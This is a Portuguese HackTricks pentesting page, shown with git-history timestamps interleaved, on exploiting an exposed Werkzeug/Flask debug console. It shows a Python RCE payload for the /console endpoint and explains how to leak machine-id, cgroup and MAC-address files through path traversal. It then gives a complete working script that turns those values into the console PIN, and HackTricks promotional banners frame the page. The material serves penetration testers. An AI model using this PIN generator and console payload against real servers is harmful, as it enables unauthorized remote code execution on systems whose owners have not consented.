hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

184 lines
9.4 KiB
Markdown
Raw Normal View History

# Werkzeug / Flask Debug
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
## Console RCE
2020-11-22 21:47:52 +00:00
Se o debug estiver ativo, você pode tentar acessar `/console` e obter RCE.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
Também existem vários exploits na internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
2020-11-22 21:47:52 +00:00
## Protegido por PIN - Traversal de Caminho
2020-11-22 21:47:52 +00:00
Em algumas ocasiões, o endpoint **`/console`** estará protegido por um PIN. Se você tiver uma **vulnerabilidade de travessia de arquivos**, pode vazar todas as informações necessárias para gerar esse PIN.
2020-11-22 21:47:52 +00:00
### Exploração de PIN do Console Werkzeug
2020-11-22 21:47:52 +00:00
Forçar uma página de erro de depuração no aplicativo para ver isso:
```
2020-11-22 21:47:52 +00:00
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Um cenário de "console bloqueado" é encontrado ao tentar acessar a interface de depuração do Werkzeug, indicando a necessidade de um PIN para desbloquear o console. A sugestão é explorar o PIN do console analisando o algoritmo de geração de PIN no arquivo de inicialização de depuração do Werkzeug (`__init__.py`). O mecanismo de geração de PIN pode ser estudado no [**repositório de código-fonte do Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), embora seja aconselhável obter o código real do servidor por meio de uma vulnerabilidade de travessia de arquivos devido a possíveis discrepâncias de versão.
2020-11-22 21:47:52 +00:00
Para explorar o PIN do console, são necessários dois conjuntos de variáveis, `probably_public_bits` e `private_bits`:
2020-11-22 21:47:52 +00:00
#### **`probably_public_bits`**
- **`username`**: Refere-se ao usuário que iniciou a sessão do Flask.
- **`modname`**: Geralmente designado como `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Geralmente resolve para **Flask**.
- **`getattr(mod, '__file__', None)`**: Representa o caminho completo para `app.py` dentro do diretório do Flask (por exemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` não for aplicável, **tente `app.pyc`**.
#### **`private_bits`**
- **`uuid.getnode()`**: Obtém o endereço MAC da máquina atual, com `str(uuid.getnode())` traduzindo-o para um formato decimal.
- Para **determinar o endereço MAC do servidor**, é necessário identificar a interface de rede ativa usada pelo aplicativo (por exemplo, `ens3`). Em casos de incerteza, **vaze `/proc/net/arp`** para encontrar o ID do dispositivo e, em seguida, **extraia o endereço MAC** de **`/sys/class/net/<id do dispositivo>/address`**.
- A conversão de um endereço MAC hexadecimal para decimal pode ser realizada conforme mostrado abaixo:
```python
# Exemplo de endereço MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
- **`get_machine_id()`**: Concatena dados de `/etc/machine-id` ou `/proc/sys/kernel/random/boot_id` com a primeira linha de `/proc/self/cgroup` após a última barra (`/`).
<details>
<summary>Código para `get_machine_id()`</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
2023-08-29 18:57:50 +00:00
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
2023-08-29 18:57:50 +00:00
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
2023-08-29 18:57:50 +00:00
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
2023-08-29 18:57:50 +00:00
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
</details>
Após reunir todos os dados necessários, o script de exploração pode ser executado para gerar o PIN do console Werkzeug. O script utiliza os `probably_public_bits` e `private_bits` montados para criar um hash, que passa por um processamento adicional para produzir o PIN final. Abaixo está o código Python para executar esse processo:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
2020-11-22 21:47:52 +00:00
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
2020-11-22 21:47:52 +00:00
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2020-11-22 21:47:52 +00:00
h.update(b'cookiesalt')
# h.update(b'shittysalt')
2020-11-22 21:47:52 +00:00
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2020-11-22 21:47:52 +00:00
rv = None
2020-11-22 21:47:52 +00:00
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2020-11-22 21:47:52 +00:00
print(rv)
```
Este script produz o PIN através da hash dos bits concatenados, adicionando sais específicos (`cookiesalt` e `pinsalt`), e formatando a saída. É importante notar que os valores reais para `probably_public_bits` e `private_bits` precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pelo console Werkzeug.
{% hint style="success" %}
Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritmo de hash para md5** em vez de sha1.
{% endhint %}
2022-04-28 16:01:33 +00:00
## Referências
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>